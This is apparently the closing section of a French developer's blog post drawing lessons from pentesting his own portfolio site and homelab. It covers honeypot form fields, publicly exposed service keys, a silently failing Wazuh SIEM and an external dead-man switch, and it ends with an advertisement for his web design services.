Le honeypot form caché contre les bots, c'est du legacy efficace. 90% des bots scrappers form rempliront ce champ, et le faux succès silencieux les empêche d'apprendre que c'est un piège. Un attaquant humain qui ouvre les DevTools le contourne, mais ce n'est plus la même population à filtrer.
-
L'info disclosure intentionnelle a un coût. Sentry DSN, PostHog token, Formspree ID exposés dans le bundle = ces clés sont des endpoints publics by-design pour ces services. Aucune n'est exploitable critique, mais elles élargissent la surface (quota poisoning, spam Formspree). Le calcul est : valeur de l'observabilité > coût du bruit potentiel. Pour moi, c'est positif. Pour un site grand public à fort trafic, le calcul peut s'inverser.
-
Les pentests black-box honnêtes finissent souvent par "rien à signaler" sur les surfaces réduites. Et c'est OK. Le rapport de pentest qui dit "0 finding" sur 30 pages, c'est plus instructif qu'un rapport bourré de findings cosmétiques sur la priorité des headers. Le vrai test, c'est de revenir 6 mois après quand l'app a évolué et refaire le tour.
-
Pentester son propre projet est, pour moi, l'exercice DevSecOps le plus rentable à titre individuel. Je connaissais mes défenses, je connais maintenant leurs angles morts précis (fixed window race, honeypot form bypass humain, IP filter dépendant de CF en amont). Aucun pentest externe payant ne m'aurait donné cette clarté pour le coût de 3 heures de bullshitting offensif sur ma propre stack. À titre perso, j'essaie de le refaire tous les 6 mois. Pour des livraisons clients, ça me paraît un bon réflexe à intégrer dans la checklist de mise en prod, mais je suis curieux de savoir si quelqu'un le fait systématiquement et comment.
-
Le notifier a besoin de son propre notifier. C'est la leçon la plus stupide et la plus chère du tour. J'ai découvert pendant ce pentest que mon SIEM était silencieux depuis 5 jours sans que rien ne m'alerte. Indexer cluster green, manager up, dashboard accessible, et pourtant zéro event ingéré à cause d'un rebind réseau côté indexer. Ça fait partie de la classe de bugs où l'absence de signal n'est pas un signal. La fix structurelle : un dead-man switch externe (j'utilise Healthchecks.io free tier sur 3 cron qui pingent depuis PVE, le LXC Wazuh et le LXC Uptime Kuma) qui m'envoie un mail si un ping ne tombe pas dans la fenêtre. Volontairement externe au homelab pour casser la corrélation.
Pour la suite côté blog : ce post complète Sécuriser un portfolio en défense en profondeur (la posture défensive applicative) et Mini-SOC homelab avec Wazuh et Cowrie (l'observabilité et la détection). Si tu veux jeter un œil aux autres projets, mon parcours technique liste les briques en place, et le formulaire de contact est le canal le plus direct pour un échange concret.
Besoin d'un site vitrine professionnel ?
Je crée des sites sur mesure pour les entreprises à Caen et partout en France. Devis gratuit, réponse sous 24h.